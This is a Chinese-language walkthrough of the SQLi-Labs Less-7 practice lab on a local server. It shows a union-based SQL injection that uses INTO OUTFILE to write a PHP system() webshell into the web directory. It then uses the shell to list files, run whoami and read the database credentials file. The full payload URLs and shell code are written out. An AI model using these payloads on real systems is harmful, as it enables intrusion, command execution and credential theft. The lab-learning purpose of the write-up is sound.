一:目标
通过sql注入将php代码写入网站目录,通过这个php文件执行命令
二:确认前置条件
%secure_file_priv%
首先我们需要Mysql是否允许导出文件
先尝试在网页中sql注入,检查导出权限
?id=1')) union select 1,@@secure_file_priv,3-- -
检查失败
换方法,通过Mysql命令行直接执行:
win+r→powershell→mysql -u root -p→password
然后检查:
show variables like '%secure_file_priv%';
窗口显示如下
这里value有三种可能的值:
Null:禁止所有导入导出操作(最严格)
空字符串
''
:允许所有目录的导入导出(有安全风险)指定路径:只允许该目录下的文件操作
如果值是空or是路径,继续攻击
如果值为NULL,那么注入一定失败,需要我们修改配置 ,方法如下:
在你的Mysql文件夹里找到my.ini,从段落的中间部分找到 [mysqld],在下面一行加上
secure_file_priv = ""
保存,服务里面重启动Mysql,然后 win+r→powershell→mysql -u root -p→password,再次检查
可以看到Value值变成空,说明我们修改成功了 ~
三:确定注入类型
首先输入 ?id=1',报错
尝试单引号+括号,?id=1'),报错
尝试?id=1'))--+,页面恢复正常!!
所以这一关要闭合 '))
四:写一个webshell文件
首先用order by确定有三行
payload:
http://localhost/sqli-labs/Less-7/?id=1')) union select 1,
'<?php system($_GET["cmd"]);?>',
3
into outfile
'D:/nginx-1.27.5/html/shell.php'-- -
php代码:<?php system($_GET["cmd"]);?>
路径按照网站的真实路径来
**注意:路径使用双反斜杠\\
into outfile 文件导出:
select 内容 into outfile '文件路径';
使用条件:
1.Mysql有权限
2.知道目标路径的物理路径
3.secure_file_priv允许操作
列出网站目录:
http://localhost/shell.php?cmd=dir D:\nginx-1.27.5\html\
这里面可以看出我们的绝对路径是否正确
这样显示更清楚一点
http://localhost/shell.php?cmd=dir
整理我们得到的数据!
D:\nginx-1.27.5\html\ # 当前目录路径
├── 50x.html # Nginx错误页面
├── index.html # 默认首页
├── index.php # PHP入口文件
├── shell.php # 刚写入的WebShell
└── sqli-labs/ # SQLi-Labs靶场目录
再来几个查询!
查看服务器用户名
http://localhost/shell.php?cmd=whoami
读取数据库配置文件(获取账号密码)
http://localhost/shell.php?cmd=type D:\nginx-1.27.5\sqli-labs\sql-connections\db-creds.inc